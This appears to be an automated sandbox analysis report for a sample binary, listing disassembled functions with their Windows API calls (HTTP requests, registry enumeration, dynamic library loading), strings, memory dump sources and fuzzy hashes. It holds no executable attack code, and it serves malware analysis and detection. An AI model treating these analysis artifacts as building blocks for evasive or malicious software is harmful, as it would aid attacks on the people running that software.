Instruction Fuzzy Hash: 50F04F21F1875283FB505B7AF848A696396BF8C749FC45434DA0E82B64DE3CD5898B00

Function 00007FF6BB18D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6BB18D877
UnloadUserProfile.USERENV ref: 00007FF6BB18D885
CloseHandle.KERNEL32 ref: 00007FF6BB18D88F
CloseHandle.KERNEL32 ref: 00007FF6BB18D898
GetProcessHeap.KERNEL32 ref: 00007FF6BB18D89E
HeapFree.KERNEL32 ref: 00007FF6BB18D8AC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: da2f94be2a2d827c10d746c8d901cee28f8c219bc46e5d06c033438f7ff0eb4e
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: 36F05065A55A42C2EB04EF7AF8540696361FF8CFA9B545131CE2E86374DE3CD4999300

Function 00007FF6BB1BCDF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF6BB1BBF47), ref: 00007FF6BB1BCE29

Strings

none, xrefs: 00007FF6BB1BD05A
cdecl, xrefs: 00007FF6BB1BCF2F
winapi, xrefs: 00007FF6BB1BCF88
stdcall, xrefs: 00007FF6BB1BCFCB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
Instruction ID: fa92a46b36ea95d397a49f02cfeea603cc9506520f6d8fbd21e8e76e9ac633fe
Opcode Fuzzy Hash: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
Instruction Fuzzy Hash: E291BF23B19A5782EA788F2EC8405B927A1BB1C798B504531DF6DD37A4DF7DE952C300

Function 00007FF6BB190EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6BB190EDB

Part of subcall function 00007FF6BB190B90: CharUpperBuffW.USER32(?,?,00000001,00007FF6BB190F61), ref: 00007FF6BB190C6A

Strings

ACTIVE, xrefs: 00007FF6BB190FBC, 00007FF6BB190FCD
LAST, xrefs: 00007FF6BB190F55, 00007FF6BB190F7E
REGEXPTITLE, xrefs: 00007FF6BB19105A, 00007FF6BB19106F
HANDLE, xrefs: 00007FF6BB19100B, 00007FF6BB19101C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction ID: fd1b4fd5b0ae4c638a85009c193929cea9b17c036eeac225f96b1bc76cb76c36
Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction Fuzzy Hash: 4671B312F0968395FA649B6DD8012B962A1BF5D78CF844031CB8DC62B6EE7DE586C300

Function 00007FF6BB199898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF6BB1998EB

Strings

EXISTS, xrefs: 00007FF6BB19997B
KEYS, xrefs: 00007FF6BB199938
REMOVE, xrefs: 00007FF6BB1998F1
APPEND, xrefs: 00007FF6BB1999BE

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: de98899def84abc5bd70023e54bc02725ae6bf89bd1fe705b0a3087f99373b90
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: DF41C522F19A9341EAA44F2D9845179A3D1BB6CBDCB540631CB9DC37A9EE3DE943C310

Function 00007FF6BB159B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB159B56

Strings

O, xrefs: 00007FF6BB159BFD
E, xrefs: 00007FF6BB159BF7
#, xrefs: 00007FF6BB159BEB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: 475178099990ac0353bf962476b95ad540ed5abada18ffefe6575b5c91291a80
Instruction ID: 1df3bcf89b18e57d620afa38012bc13b60dc78ce07a52d6502a895d844fb87bd
Opcode Fuzzy Hash: 475178099990ac0353bf962476b95ad540ed5abada18ffefe6575b5c91291a80
Instruction Fuzzy Hash: 74416A22A19B5185EF518F2998406BE23B4BF58B8CF184031EF5E87BA9DF3CE441C709

Function 00007FF6BB19B62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB19CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6BB19CA62

Part of subcall function 00007FF6BB19CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6BB19CA77

lstrcmpiW.KERNEL32 ref: 00007FF6BB19B682
MoveFileW.KERNEL32 ref: 00007FF6BB19B6B6
wcscat.LIBCMT ref: 00007FF6BB19B744
SHFileOperationW.SHELL32 ref: 00007FF6BB19B7A9

Strings

\*.*, xrefs: 00007FF6BB19B736

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 3d99fb60beaa909b16133a9bcb21b6d4d5eca463ec33ffbc4784a3084b69c118
Instruction ID: 4956f88d4c4701cc27f6158dfa5752ba7d8a88171086d5f6316729e2d8a9dd04
Opcode Fuzzy Hash: 3d99fb60beaa909b16133a9bcb21b6d4d5eca463ec33ffbc4784a3084b69c118
Instruction Fuzzy Hash: 83414822A1869395EB20DB28D8401FD2760FF5D78CF844135DB8DD3AAAEF28E506C750

Function 00007FF6BB18DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18DFE3
SendMessageW.USER32 ref: 00007FF6BB18E000
SendMessageW.USER32 ref: 00007FF6BB18E036

Strings

ListBox, xrefs: 00007FF6BB18DF9C
ComboBox, xrefs: 00007FF6BB18DF5F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: 293fbebcd6f91a989341ff2a11dfce78c49a2189f57ef22a3f2ef9c0d82947c8
Instruction ID: 979c245e53f6993cd11c54f0fd5c1f37fd921fdb57a9dceaa7cd79f608c322cd
Opcode Fuzzy Hash: 293fbebcd6f91a989341ff2a11dfce78c49a2189f57ef22a3f2ef9c0d82947c8
Instruction Fuzzy Hash: EF319322B0974286FA24DB19E8511BA6360FF8DB98F544531DB9DC77B6CE3CE606CB00

Function 00007FF6BB1AD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET ref: 00007FF6BB1AD954
HttpSendRequestW.WININET ref: 00007FF6BB1AD988
HttpQueryInfoW.WININET ref: 00007FF6BB1AD9D4
InternetCloseHandle.WININET ref: 00007FF6BB1ADA38

Part of subcall function 00007FF6BB1AEAB8: GetLastError.KERNEL32 ref: 00007FF6BB1AEAD4
Part of subcall function 00007FF6BB1AEAB8: SetEvent.KERNEL32 ref: 00007FF6BB1AEAE9

Strings

, xrefs: 00007FF6BB1AD9C1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction ID: 926cf0676a5cee45aa73de7dcb068b2ca7e13d5313f85cee63e4c65f7506801d
Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction Fuzzy Hash: 1A31C622A1CB4286FB60DF29A450AAE6750FB8CB88F545131EF5D97B75DE3CE4068F00

Function 00007FF6BB1C93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1C94C1
LoadLibraryW.KERNEL32 ref: 00007FF6BB1C94CE
SendMessageW.USER32 ref: 00007FF6BB1C94EC
DestroyWindow.USER32 ref: 00007FF6BB1C94FA

Strings

SysAnimate32, xrefs: 00007FF6BB1C9460

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 6e660b33d6e4a84e6fd34bbeb61245ead5be6ef8b5cba7022a4468a5647c8c45
Instruction ID: 30b78e2995bb2578063676e3dcd7c2ec225683282f7370ada935fecc689fe93a
Opcode Fuzzy Hash: 6e660b33d6e4a84e6fd34bbeb61245ead5be6ef8b5cba7022a4468a5647c8c45
Instruction Fuzzy Hash: EA316F72A097C1CAE7608F28E44476A33A0FB89795F54413ADB5D87BA4DF3CD844CB00

Function 00007FF6BB149164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6BB149184
GetProcAddress.KERNEL32 ref: 00007FF6BB14919A
FreeLibrary.KERNEL32 ref: 00007FF6BB1491BF

Strings

mscoree.dll, xrefs: 00007FF6BB14917B
CorExitProcess, xrefs: 00007FF6BB149193

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 0582923bdfa2099bb14d08110f945295dc9a92ba84432f74cfd9c0486807707f
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: C6F03C21A2AA4281EE449B19F49427923A0FF8CBD9F981035EB0F86674DE3CD488CB00

Function 00007FF6BB1689B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction ID: 1e6d3a06245f4cf3f1e36e9f9102e1249af9c9038496ccc448848847d73a8383
Opcode Fuzzy Hash: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction Fuzzy Hash: F4A1D172B0978286EB208F6994103B96691BF48BACF584636DF6EC67E5DF7CE4448310

Function 00007FF6BB15ED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15ED4D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction ID: a9d5416ac47f95e60c8746ed9a3b977567370c65f0bd371f39816916775ee75b
Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction Fuzzy Hash: 3A818B23E2861285F720DB2998806BD27A1BB4DB9CF444136DB0E97AF5CF38E446C718

Function 00007FF6BB1C0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1C1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6BB1BFD7B), ref: 00007FF6BB1C1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6BB1C0189
RegOpenKeyExW.ADVAPI32 ref: 00007FF6BB1C01E6
RegEnumKeyExW.ADVAPI32 ref: 00007FF6BB1C0250
RegCloseKey.ADVAPI32 ref: 00007FF6BB1C028D
RegCloseKey.ADVAPI32 ref: 00007FF6BB1C029D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: 298953672724a5207909a795614b2829bd7d7b99ba66be59e73fbf309c8ee550
Instruction ID: c0deb194bfa746b26631146208eef97671bbc6e7f6b3f8521f595b085032debb
Opcode Fuzzy Hash: 298953672724a5207909a795614b2829bd7d7b99ba66be59e73fbf309c8ee550
Instruction Fuzzy Hash: 08617C62A08A8685EB10DF69E4943BD7B60FB89788F414132EB4D87AB6CF7CD545CB40

Function 00007FF6BB1BD0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1BC2BF), ref: 00007FF6BB1BD176
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1BC2BF), ref: 00007FF6BB1BD217
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1BC2BF), ref: 00007FF6BB1BD236
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1BC2BF), ref: 00007FF6BB1BD281
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB1BC2BF), ref: 00007FF6BB1BD2A0

Part of subcall function 00007FF6BB144120: WideCharToMultiByte.KERNEL32 ref: 00007FF6BB144160
Part of subcall function 00007FF6BB144120: WideCharToMultiByte.KERNEL32 ref: 00007FF6BB14419C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction ID: b5e41171e8d61d773389f4724d4deb7ac65c57402bde5953f8f10606a13ceac0
Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction Fuzzy Hash: 45511436A14B5695EB14DB6AE8901AC73B4FB8DF88B464036DF4E873A6DF38E541C300

Function 00007FF6BB162998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB1629E9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction ID: e0675a01f00ed6b5f7a10a09fd7aa9305a244c06ac256ed4be8fec0df945ab71
Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction Fuzzy Hash: D5519132A18B8285EB608F29A44017977A5FF48BA8F194235DF6E87AF4DE7CE441C740

Function 00007FF6BB1A96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF6BB1A9785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF6BB1A97BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF6BB1A980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF6BB1A9836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF6BB1A9848

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: a01b0d5fbe9a32fe62c4333acd091835815607779ec9283ab20b334688ab3a66
Instruction ID: 507c127e374a673de614bcd7b53464dfe3ab0cd6b86e646f4562c9b789c3042f
Opcode Fuzzy Hash: a01b0d5fbe9a32fe62c4333acd091835815607779ec9283ab20b334688ab3a66
Instruction Fuzzy Hash: 2051FA26A18A8682DB14DF2AE49056D7760FB89F98F148432EF8E87776CF3CE544C740

Function 00007FF6BB15BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

